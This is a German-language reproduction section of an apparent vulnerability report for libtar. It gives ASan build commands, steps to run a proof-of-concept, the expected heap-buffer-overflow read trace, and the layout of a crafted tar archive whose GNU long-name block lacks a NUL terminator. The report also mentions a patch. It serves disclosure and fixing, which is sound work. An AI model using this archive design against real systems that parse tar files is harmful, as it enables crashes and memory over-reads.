Reproduktion

Erfordert einen C-Compiler mit AddressSanitizer (gcc oder clang) und Python 3.

# 1. Upstream-libtar klonen
git clone https://github.com/tklauser/libtar.git
cd libtar

# 2. Die listhash-Quellen generieren (normalerweise von autotools erledigt)
mkdir -p build
sed -e 's/@LISTHASH_PREFIX@/libtar/g' -e 's|/\* @configure_input@ \*/||' \
    listhash/listhash.h.in > build/libtar_listhash.h
sed -e 's/@LISTHASH_PREFIX@/libtar/g' -e 's|/\* @configure_input@ \*/||' \
    listhash/list.c.in > build/libtar_list.c
sed -e 's/@LISTHASH_PREFIX@/libtar/g' -e 's|/\* @configure_input@ \*/||' \
    listhash/hash.c.in > build/libtar_hash.c

# 3. libtar + den PoC-Consumer unter ASan bauen
#    (die CFLAGS unten überschreiben Werte, die autotools normalerweise liefern würde)
CFLAGS="-Ilib -Icompat -Ibuild -Ipoc \
  -DNEED_MAKEDEV -DMAJOR_IN_SYSMACROS -DNEED_STRMODE \
  -DPACKAGE_VERSION=\"1.2.20\" \
  -include sys/sysmacros.h -include fnmatch.h -include fcntl.h -include string.h \
  -O1 -g -std=gnu11"
SRCS="lib/append.c lib/block.c lib/decode.c lib/encode.c lib/extract.c \
      lib/handle.c lib/output.c lib/util.c lib/wrapper.c compat/strmode.c \
      build/libtar_list.c build/libtar_hash.c"
for f in $SRCS; do
  gcc $CFLAGS -fsanitize=address -c "$f" -o "build/$(basename "${f%.c}").o"
done
ar rcs build/liblibtar_asan.a build/*.o
gcc $CFLAGS -fsanitize=address poc/poc_crash.c build/liblibtar_asan.a -o build/poc_crash

# 4. Das auslösende Archiv erzeugen und den PoC ausführen
python3 poc/make_archive.py longname.tar
ASAN_OPTIONS=halt_on_error=1:detect_leaks=0 ./build/poc_crash longname.tar

(detect_leaks=0 unterdrückt einen unabhängigen, bereits vorhandenen Leak-Detector-Befund — tar_close() gibt th_buf.gnu_longname nicht frei —, der nichts mit dieser Schwachstelle zu tun hat; lass die Option weg, wenn du auch dieses Leck sehen möchtest.)

Erwartetes Ergebnis

Ungepatcht: AddressSanitizer bricht mit einem Heap-Buffer-Overflow-READ ab:

==ERROR: AddressSanitizer: heap-buffer-overflow ... READ of size 1
    #0 safer_name_suffix   lib/decode.c:39
    #1 th_get_pathname     lib/decode.c:60
0x... is located 0 bytes after 512-byte region [...]
  allocated by thread T0 here:
    #0 malloc
    #1 th_read             lib/block.c:192

Gepatcht (nach Anwendung von patches/0001-...patch): kein Overflow; th_get_pathname() gibt exakt den 512 Byte großen, vom Angreifer kontrollierten String mit einem Terminator an der korrekten Position zurück.

Wie das Archiv aussieht

Ein tar-Archiv aus 3 Blöcken:

1. Ein GNU-Long-Name-Extension-Header (typeflag='L'), der eine Größe von 512 deklariert.
2. Ein 512-Byte-Datenblock aus "pwn" + "A"*509 — nirgends ein NUL-Byte.
3. Ein normaler Member-Header mit kurzem Namen (plus seinem eigenen Datenblock und den standardmäßigen zwei Null-Blöcken für EOF), sodass das Archiv als Ganzes eine wohlgeformte ustar-Datei mit gültiger Prüfsumme ist.

th_read() allokiert gnu_longname mit exakt 512 Bytes (blocks * T_BLOCKSIZE, mit blocks == 1) und füllt jedes Byte aus dem Archiv. Da die Daten kein NUL enthalten, hat der Puffer keinen String-Terminator. Jeder Code, der ihn als C-String behandelt — safer_name_suffix(), th_get_pathname(), th_get_linkname(), libtars eigene verbose/debug- Ausgabe — liest über das Ende der Allokation hinaus.